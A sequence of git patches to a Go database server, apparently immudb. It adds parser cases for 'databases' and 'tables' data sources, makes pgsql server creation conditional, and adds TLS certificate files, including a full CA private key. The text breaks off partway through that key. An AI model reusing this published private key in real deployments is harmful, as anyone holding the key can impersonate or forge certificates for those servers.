1, 1, 2, 6, 0, 1, 0, 2, 0, 3, + 0, 2, 0, 2, 0, 2, 0, 3, 0, 4, + 2, 4, 0, 1, 1, 0, 1, 2, 1, 1, + 2, 2, 4, 4, 6, 6, 1, 1, 3, 3, + 0, 1, 3, 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ @@ -409,59 +410,61 @@ var yyChk = [...]int16{ 87, 88, 90, 89, 74, 75, 63, -53, 67, 58, -36, -36, 93, -36, 93, 93, 93, 76, 25, 24, 25, 25, -12, -10, 76, -10, -49, 6, -36, -37, - 86, 75, -26, -27, 93, -19, 76, -20, 76, 89, - -23, 76, -8, -9, 76, 93, 76, -36, -36, -36, - -36, -36, -36, 65, 58, 59, 62, 77, -6, 94, - -36, -17, -16, -36, -10, -9, 76, 76, 76, 94, - 86, 94, -42, 50, 19, -49, -54, -36, -49, -28, - -6, 9, -45, -45, 94, 94, 86, 77, -10, 93, - 65, -36, 93, 94, 55, 94, 86, 94, 24, 35, - 76, 35, -43, 51, -36, 20, -42, -32, -33, -34, - -35, 73, -45, 94, 15, 26, -9, -44, 95, 93, - 94, -10, -6, -16, 77, -36, 76, -14, -15, 93, - -14, -36, -11, 76, 93, -43, -37, -33, 45, -45, - 76, 27, -52, 65, 58, 78, 78, 94, 94, 94, - 94, -56, 86, 20, -17, -10, -41, 48, -26, 94, - -11, -51, 64, 65, 96, 94, -15, 39, 94, 94, - -38, 46, 49, -49, -45, 94, 40, -47, 52, -36, - -13, -23, 20, 41, -42, 49, 86, -36, -43, -46, - -23, -23, 86, -48, 53, 54, -23, -48, + 86, 75, -26, -27, 93, 69, 70, -19, 76, -20, + 76, 89, -23, 76, -8, -9, 76, 93, 76, -36, + -36, -36, -36, -36, -36, 65, 58, 59, 62, 77, + -6, 94, -36, -17, -16, -36, -10, -9, 76, 76, + 76, 94, 86, 94, -42, 50, 19, -49, -54, -36, + -49, -28, -6, 9, 93, 93, -45, -45, 94, 94, + 86, 77, -10, 93, 65, -36, 93, 94, 55, 94, + 86, 94, 24, 35, 76, 35, -43, 51, -36, 20, + -42, -32, -33, -34, -35, 73, -45, 94, 15, 94, + 94, 26, -9, -44, 95, 93, 94, -10, -6, -16, + 77, -36, 76, -14, -15, 93, -14, -36, -11, 76, + 93, -43, -37, -33, 45, -45, 76, -45, -45, 27, + -52, 65, 58, 78, 78, 94, 94, 94, 94, -56, + 86, 20, -17, -10, -41, 48, -26, 94, -11, -51, + 64, 65, 96, 94, -15, 39, 94, 94, -38, 46, + 49, -49, -45, 94, 40, -47, 52, -36, -13, -23, + 20, 41, -42, 49, 86, -36, -43, -46, -23, -23, + 86, -48, 53, 54, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 75, 0, 82, 2, 5, 9, 27, 27, 27, 0, 14, 0, - 99, 0, 0, 0, 0, 0, 0, 0, 97, 80, + 101, 0, 0, 0, 0, 0, 0, 0, 99, 80, 77, 78, 0, 83, 3, 0, 0, 0, 0, 27, - 15, 16, 102, 0, 0, 18, 0, 0, 0, 0, - 0, 114, 0, 0, 81, 0, 84, 85, 133, 88, - 0, 91, 13, 0, 0, 0, 0, 98, 0, 0, - 100, 0, 106, -2, 137, 0, 0, 0, 144, 145, + 15, 16, 104, 0, 0, 18, 0, 0, 0, 0, + 0, 116, 0, 0, 81, 0, 84, 85, 135, 88, + 0, 91, 13, 0, 0, 0, 0, 100, 0, 0, + 102, 0, 108, -2, 139, 0, 0, 0, 146, 147, 0, 53, 54, 55, 56, 57, 0, 59, 60, 61, - 62, 91, 101, 0, 0, 0, 0, 0, 40, 0, - 126, 0, 114, 37, 0, 76, 0, 0, 86, 134, - 0, 0, 0, 28, 0, 0, 0, 103, 104, 105, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 149, - 138, 139, 0, 0, 0, 49, 0, 22, 0, 0, - 0, 0, 0, 41, 45, 0, 120, 0, 115, 126, - 0, 0, 126, 99, 0, 133, 97, 133, 135, 0, - 0, 92, 0, 64, 0, 0, 0, 150, 151, 152, - 153, 154, 155, 156, 0, 0, 0, 147, 0, 146, - 0, 0, 50, 51, 0, 23, 24, 0, 26, 0, - 0, 0, 122, 0, 0, 120, 38, 39, -2, 133, - 0, 0, 95, 87, 89, 90, 0, 67, 0, 0, - 157, 140, 0, 141, 0, 63, 0, 21, 0, 0, - 46, 0, 33, 0, 121, 0, 122, 114, 108, -2, - 0, 113, 93, 133, 0, 0, 65, 72, 0, 0, - 19, 0, 0, 0, 0, 52, 25, 35, 42, 49, - 32, 123, 127, 29, 0, 34, 116, 110, 0, 94, - 0, 0, 70, 73, 0, 0, 0, 20, 142, 143, - 58, 31, 0, 0, 0, 0, 118, 0, 126, 133, - 0, 66, 71, 74, 68, 69, 43, 0, 44, 30, - 124, 0, 0, 0, 96, 17, 0, 120, 0, 119, - 117, 47, 0, 36, 122, 0, 0, 111, 79, 125, - 130, 48, 0, 128, 131, 132, 130, 129, + 62, 91, 103, 0, 0, 0, 0, 0, 40, 0, + 128, 0, 116, 37, 0, 76, 0, 0, 86, 136, + 0, 0, 0, 28, 0, 0, 0, 105, 106, 107, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 151, + 140, 141, 0, 0, 0, 49, 0, 22, 0, 0, + 0, 0, 0, 41, 45, 0, 122, 0, 117, 128, + 0, 0, 128, 101, 0, 0, 0, 135, 99, 135, + 137, 0, 0, 92, 0, 64, 0, 0, 0, 152, + 153, 154, 155, 156, 157, 158, 0, 0, 0, 149, + 0, 148, 0, 0, 50, 51, 0, 23, 24, 0, + 26, 0, 0, 0, 124, 0, 0, 122, 38, 39, + -2, 135, 0, 0, 0, 0, 97, 87, 89, 90, + 0, 67, 0, 0, 159, 142, 0, 143, 0, 63, + 0, 21, 0, 0, 46, 0, 33, 0, 123, 0, + 124, 116, 110, -2, 0, 115, 93, 135, 0, 135, + 135, 0, 65, 72, 0, 0, 19, 0, 0, 0, + 0, 52, 25, 35, 42, 49, 32, 125, 129, 29, + 0, 34, 118, 112, 0, 94, 0, 95, 96, 0, + 70, 73, 0, 0, 0, 20, 144, 145, 58, 31, + 0, 0, 0, 0, 120, 0, 128, 135, 0, 66, + 71, 74, 68, 69, 43, 0, 44, 30, 126, 0, + 0, 0, 98, 17, 0, 122, 0, 121, 119, 47, + 0, 36, 124, 0, 0, 113, 79, 127, 132, 48, + 0, 130, 133, 134, 132, 131, } var yyTok1 = [...]int8{ @@ -1304,316 +1307,326 @@ yydefault: yyVAL.ds = yyDollar[2].stmt.(DataSource) } case 95: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} + } + case 96: + yyDollar = yyS[yypt-4 : yypt+1] + { + yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} + } + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 96: + case 98: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 97: + case 99: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 98: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 99: + case 101: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 100: + case 102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 101: + case 103: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 102: + case 104: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 103: + case 105: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 104: + case 106: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 105: + case 107: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 106: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 107: + case 109: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 108: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 109: + case 111: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 110: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 111: + case 113: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 112: + case 114: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 113: + case 115: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 114: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 115: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 116: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 117: + case 119: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 118: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 119: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 120: + case 122: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 121: + case 123: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 122: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 123: + case 125: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 124: + case 126: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 125: + case 127: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 126: + case 128: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 127: + case 129: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 128: + case 130: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 129: + case 131: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 130: + case 132: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 131: + case 133: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 132: + case 134: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 133: + case 135: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 134: + case 136: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 135: + case 137: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 136: + case 138: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 137: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 138: + case 140: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 139: + case 141: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 140: + case 142: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 141: + case 143: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 142: + case 144: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 143: + case 145: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 144: + case 146: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 145: + case 147: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 146: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 147: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 148: + case 150: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 149: + case 151: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 150: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 151: + case 153: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 152: + case 154: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 153: + case 155: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 154: + case 156: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 155: + case 157: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 156: + case 158: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 157: + case 159: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} From 69c3476e550add2479b8df7010e8767cd0d529dc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Oct 2023 08:28:49 +0200 Subject: [PATCH 0907/1062] chore(pkg/server): pgsql server creation only when enabled Signed-off-by: Jeronimo Irazabal --- pkg/server/remote_storage_test.go | 1 + pkg/server/server.go | 17 +++++++++-------- pkg/server/servertest/server.go | 7 +++++-- 3 files changed, 15 insertions(+), 10 deletions(-) diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 297fc61f8e..ba431b816c 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -500,6 +500,7 @@ func TestRemoteStorageUsedForNewDB(t *testing.T) { s.WithOptions(DefaultOptions(). WithDir(dir). WithPort(0). + WithPgsqlServer(false). WithListener(bufconn.Listen(1024 * 1024)), ) diff --git a/pkg/server/server.go b/pkg/server/server.go index b924cdbeb6..0500f07bdc 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -250,15 +250,16 @@ func (s *ImmuServer) Initialize() error { protomodel.RegisterAuthorizationServiceServer(s.GrpcServer, &authenticationServiceImp{server: s}) grpc_prometheus.Register(s.GrpcServer) - s.PgsqlSrv = pgsqlsrv.New( - pgsqlsrv.Host(s.Options.Address), - pgsqlsrv.Port(s.Options.PgsqlServerPort), - pgsqlsrv.ImmudbPort(s.Listener.Addr().(*net.TCPAddr).Port), - pgsqlsrv.TLSConfig(s.Options.TLSConfig), - pgsqlsrv.Logger(s.Logger), - pgsqlsrv.DatabaseList(s.dbList), - ) if s.Options.PgsqlServer { + s.PgsqlSrv = pgsqlsrv.New( + pgsqlsrv.Host(s.Options.Address), + pgsqlsrv.Port(s.Options.PgsqlServerPort), + pgsqlsrv.ImmudbPort(s.Listener.Addr().(*net.TCPAddr).Port), + pgsqlsrv.TLSConfig(s.Options.TLSConfig), + pgsqlsrv.Logger(s.Logger), + pgsqlsrv.DatabaseList(s.dbList), + ) + if err = s.PgsqlSrv.Initialize(); err != nil { return err } diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index e058ef107a..1cca2af880 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -142,8 +142,11 @@ func (bs *BufconnServer) Stop() error { if err := bs.Server.Srv.CloseDatabases(); err != nil { return err } - if err := bs.Server.Srv.PgsqlSrv.Stop(); err != nil { - return err + + if bs.Server.Srv.PgsqlSrv != nil { + if err := bs.Server.Srv.PgsqlSrv.Stop(); err != nil { + return err + } } if bs.GrpcServer != nil { From b936922c1c62c81fe2705967a4c6c9464ba6138f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 3 Nov 2023 17:20:45 +0100 Subject: [PATCH 0908/1062] chore(pkg/pgsql): tls support Signed-off-by: Jeronimo Irazabal --- pkg/pgsql/server/cert/ca-cert.pem | 34 ++++++++++++++ pkg/pgsql/server/cert/ca-cert.srl | 1 + pkg/pgsql/server/cert/ca-key.pem | 52 ++++++++++++++++++++++ pkg/pgsql/server/cert/server-cert.pem | 34 ++++++++++++++ pkg/pgsql/server/cert/server-ext.cnf | 1 + pkg/pgsql/server/cert/server-key.pem | 52 ++++++++++++++++++++++ pkg/pgsql/server/cert/server-req.pem | 28 ++++++++++++ pkg/pgsql/server/initialize_session.go | 19 +++++++- pkg/pgsql/server/pgsql_integration_test.go | 32 ++++++------- 9 files changed, 233 insertions(+), 20 deletions(-) create mode 100644 pkg/pgsql/server/cert/ca-cert.pem create mode 100644 pkg/pgsql/server/cert/ca-cert.srl create mode 100644 pkg/pgsql/server/cert/ca-key.pem create mode 100644 pkg/pgsql/server/cert/server-cert.pem create mode 100644 pkg/pgsql/server/cert/server-ext.cnf create mode 100644 pkg/pgsql/server/cert/server-key.pem create mode 100644 pkg/pgsql/server/cert/server-req.pem diff --git a/pkg/pgsql/server/cert/ca-cert.pem b/pkg/pgsql/server/cert/ca-cert.pem new file mode 100644 index 0000000000..2052659b59 --- /dev/null +++ b/pkg/pgsql/server/cert/ca-cert.pem @@ -0,0 +1,34 @@ +-----BEGIN CERTIFICATE----- +MIIF6TCCA9GgAwIBAgIUGH9hgmfEzEsRuSyq56bbVLZJSh8wDQYJKoZIhvcNAQEL +BQAwgYMxCzAJBgNVBAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91 +c3RvbjETMBEGA1UECgwKQ29kZW5vdGFyeTEZMBcGA1UEAwwQKi5jb2Rlbm90YXJ5 +LmNvbTEiMCAGCSqGSIb3DQEJARYTaW5mb0Bjb2Rlbm90YXJ5LmNvbTAeFw0yMzEx +MDMxNTUxMDdaFw0zMzEwMzExNTUxMDdaMIGDMQswCQYDVQQGEwJVUzEOMAwGA1UE +CAwFVGV4YXMxEDAOBgNVBAcMB0hvdXN0b24xEzARBgNVBAoMCkNvZGVub3Rhcnkx +GTAXBgNVBAMMECouY29kZW5vdGFyeS5jb20xIjAgBgkqhkiG9w0BCQEWE2luZm9A +Y29kZW5vdGFyeS5jb20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC7 +uR3S6YWXUckguoZHeuoD4mUv7E+O74c8/5rJCu8xW5diFROZ3NB9MGRPnCoUSLam +qAXqO+FW0iwwWANlH1qQu3uJogOSVcx2qkne9cQ3PF5lG+O0l+6mu7I5tCLalkIe +BLVH0bxxSe/lqHfD1lYO6uq74MIs35zNYaX2A5en8tJ8FoA4sE1uNraThq+vx7Aq +hzNApEUD3GAqRyDUcvDcx/9WgogaVm5k+J2xk3Q3aKaVzVh0BisGD52SSMicQtYk +rtFK/tuYCXyWM7SOMtgRSPI0M01BqtYrC12zRpnYD3oNoao0QCv2gJylrs/j3hSD +pLFyRy/dFKUb35nsEzNsk4yuzS4NJ8KBSYyWK5wu+D64G+Tg4DVQCf5BpSJD1/Jw +UIjkK6UmedNr5CSbzzurifwXkMFJ08dYUdKr8b7XUVxSOrvbkGnzJgTM3/bh356L +DUFlKxTxLTsZqovn7Q5aUHtGe0lU7b48ZX/RzSYl3BliQ2efMURWzVRITh6+j+fz +ECK6MfXHH8pdvk4PxMNC/m70dZ2tZSNiyV3B0ngKRVJoF/9gKoQqQrlOgbFUNX1Z +BXv7o5vEMFkgTehOXM6jOkyfKqo/4TEO0StySet8miOYKtOGqWj4FzOSEc/48svE +nIeQfOPiK4NxEXwOLwjW2E2vzyAps4ZmlASHGfr8gwIDAQABo1MwUTAdBgNVHQ4E +FgQUUho7f1Gpfivi/wweuhE5HuEAO4cwHwYDVR0jBBgwFoAUUho7f1Gpfivi/wwe +uhE5HuEAO4cwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAAsnD +F3rwcVdBZJR9IzsViRvXstK0yfF8cdQE8uI6Hp9DzHOjHkdt2kBMrqRZNaxUdecd +i1Bt4/t43L/7tabNNxTI/Iubu9qAKZ6+oLJXpZAiKXWsob9eulA+8yZiG/LEzfpy +p6WkEPPNPNc1ISZk6o0KXoIBo0Yp1xwVuX/xTNgn2T//JBcuJ0b2PUOW+71sSlWH +tD6HVYcyDmpV3iKZLsLVaVvGQ3FEFMe8n+Hv/h1HRd7xTwX11dbKDLHWr25zNbKj +Ekv9u7ePSaO01FNeDqvQddmFQDwA6jgAPlogMO2/MOyBjHu7w6nQl3gjqrJkzJK0 +jQ1n74uhAwH7c7xrVyE3pW71vpV4nHK2LvzTh+UqtFy+MLFVhr+qCtB7R7NxqIcq +65KxznjqtMSK4+w3SMX2IqDX4lBJ0jMhENULPVsmYr1g4OPkdiLM8HV0YolZP7EZ +0yW2QABRIcH6Weqt3BvUIlqfsIBimyKSDLWzvKOYfOQWYhvwzqlGmNKUzrxeAIes +hLRHKCzkprSCqCh6zXgjG/lZD38exGbBj4TXFReTnqdF4SNNJTxDGe3lS2nr9RCI +E9m57ZttBbGDkRUs3OV1XW0XSGuvkDZaB1QoOBE5sbm4JBX2pfN9mdGeq/HXOCiv +qanwE0bUvzP9FQG1+4XPotP1CZVPoMegLPs5dZc= +-----END CERTIFICATE----- diff --git a/pkg/pgsql/server/cert/ca-cert.srl b/pkg/pgsql/server/cert/ca-cert.srl new file mode 100644 index 0000000000..5967b63c25 --- /dev/null +++ b/pkg/pgsql/server/cert/ca-cert.srl @@ -0,0 +1 @@ +46A407E210F53EBCE67145513C1202036E594946 diff --git a/pkg/pgsql/server/cert/ca-key.pem b/pkg/pgsql/server/cert/ca-key.pem new file mode 100644 index 0000000000..6fb0853d40 --- /dev/null +++ b/pkg/pgsql/server/cert/ca-key.pem @@ -0,0 +1,52 @@ +-----BEGIN PRIVATE KEY----- +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 